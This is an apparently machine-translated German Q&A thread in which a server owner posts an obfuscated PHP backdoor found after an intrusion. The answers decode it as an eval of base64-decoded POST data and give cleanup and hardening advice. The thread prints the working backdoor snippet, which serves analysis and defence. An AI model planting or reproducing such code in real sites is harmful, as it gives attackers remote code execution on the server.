2015-03-28 15 views
20

Mein Server wurde kürzlich angegriffen, und ich habe versucht zu erforschen, wie und warum es passiert.Versuchen, einen Virus zu entschlüsseln

Ich habe ein sehr ähnliches Muster in den Virendateien gefunden, das ungefähr so ​​aussieht - so weit ich sagen kann, dass es versucht, eine bestimmte Datei auszuführen?

Hat jemand so etwas gesehen, und wie soll ich es interpretieren? Werden einzelne Zeichen basierend auf der Zeichenkette $sF erfasst?

<?php 

$sF = "PCT4BA6ODSE_"; 
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); 
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3']; 
if (isset($s22)) { 
    eval($s21($s22)); 
}?> 
+5

, wenn Sie das Virus PHP interessiert sind/Agent.NEH Trojaner – Martin

+1

Das ist interessant. Vielen Dank. Weißt du woanders kann ich Informationen darüber finden/irgendwo anders, wo es sich möglicherweise infiziert hat? –

+1

Ha, ich sehe, wie du es herausgefunden hast. –

Antwort

27

Die Variable $s21 gleich base64_decode und $s22 zu $_POST['nd335c3'] gleich ist.

Immer wenn eine POST Anfrage an Ihren Server gestellt wird, führt sie den Befehl in $_POST['nd335c3']; aus, was erwartungsgemäß sehr gefährlich ist.

Ich bezweifle stark, dass Ihr Server gehackt wurde, stattdessen wurde Ihr Website-Skript ausgenutzt. Gibt es irgendwo auf Ihrer Website, wo Benutzer Dateien hochladen können? Ich habe eine Menge Zeug mit WordPress mit schlecht codierten Plugins gesehen.

Zur Behebung des Problems

das Problem zu beheben, löschen Sie zunächst diese Datei oder den Abschnitt des Codes. Möglicherweise möchten Sie Ihre Site herunterfahren und in den Wartungsmodus versetzen, bis Sie alle anderen Dateien durchsuchen und überprüfen können, die nicht geändert wurden.

Sobald die Site wieder betriebsbereit ist, protokollieren Sie die Anforderungen, an denen die gehackte Datei gefunden wurde, oder Anforderungen, die dieselbe POST-Variable enthalten.

Sobald Sie einen Benutzer haben, der Daten an den Exploit sendet, können Sie alle anderen Protokolldateien überprüfen und sie mit derselben IP-Adresse und demselben Benutzeragenten vergleichen. Dies ist ein Weitwinkel, aber hoffentlich benutzen sie nur einen Computer, um den Angriff auszuführen. Aus den Logs können Sie sehen, was genau sie besucht haben, um den Angriff auszuführen und die ausgenutzte Datei hochzuladen.

Verhinderung dieser in die Zukunft

  1. Installieren Sie keine Code Sie online auf Ihrer Website finden, wenn Sie die Entwickler vertrauen und glauben, dass es völlig sicher ist und wissen, dass sie Updates veröffentlichen.
  2. Stellen Sie Ihren Webserver so ein, dass er außer dem Upload-Verzeichnis keinen Schreibzugriff hat und /tmp
  3. Überprüfen Sie alle hochgeladenen Dateien, um sicherzustellen, dass sie genau das sind, was Sie erwarten.
  4. Lassen Sie PHP nicht laufen, wo Dateien hochgeladen werden, lassen Sie die Dateien als statische direkte Dateien herunterladen. Auf diese Weise kann es, wenn eine Datei hochgeladen wurde, die Ihre Dateiprüfungen umgeht, immer noch keinen Schaden anrichten.
+1

Es ist eine Drupal-Installation. Ich kann mir keinen bestimmten Ort vorstellen, an dem Benutzer Dateien hochladen können, aber ich überprüfe und deaktiviere solche Funktionen vorläufig. –

+1

Wissen Sie, ich kann nur sagen, dass die Datei mit 'GIF89a 'ist vom Typ' image/gif' und du wärst damit zufrieden. Überprüfen Sie nie den Mimetyp! Sie möchten ein Bild hochladen? Verwenden Sie die Funktion 'getimagesize()' und prüfen Sie, ob sie 'false' zurückgibt. Andere Dateien? Überprüfen Sie die Funktion 'finfo_file()' (http://php.net/manual/en/function.finfo-file.php). –

+1

Ich glaube tatsächlich, dass die Infektion vor etwa einem Jahr passiert ist, als ich noch auf Shared Hosting war und nur Symptome gezeigt hat, seit ich mit meinem eigenen Mailserver zu einem VPS gewechselt bin. –

8

Folgen Sie einfach der contatination Codebasis auf $ sF string, und Sie werden sehen, dass

$21 = "base64_decode"; 
$22 = "_POST['nd335c3']"; 

und der Rest des Codes, grundsätzlich prüfen, ob _POST [ ‚nd335c3‘] existiert und wenn ja ausführen PHP-Code: base64_decode(_POST['nd335c3']);

was als nächstes getan wird kann ich nicht wirklich wissen, da Sie nicht den gesamten Code des Virus angezeigt haben.

Ich hoffe, es hilft ein bisschen.

4

Sehr netter Virus. Die obigen Antworten scheinen recht gut zu erklären, aber vielleicht kannst du PHP jetzt besser verstehen. Sie können sehen, wie PHP ziemlich virenfreundlich ist, aber das ist eines der Dinge, die es so vielseitig und so macht. Eine coole Sprache, die für viele Dinge verwendet werden kann.
ein etwas weniger bösartiges Beispiel für Code-Verschleierung:

<?php 

$v1 = "sartvuhi_"; 
$v2 = $v1[3] . $v1[6] . $v1[7] . $v1[0] . $v1[8]; 
$v3 = $v1[7] . $v1[0] . $v1[8] . $v1[1] . $v1[8]; 
$v4 = $v1[4] . $v1[7] . $v1[2] . $v1[5] . $v1[0]; 

echo $v2 . $v3 . $v4; 
?> 
Verwandte Themen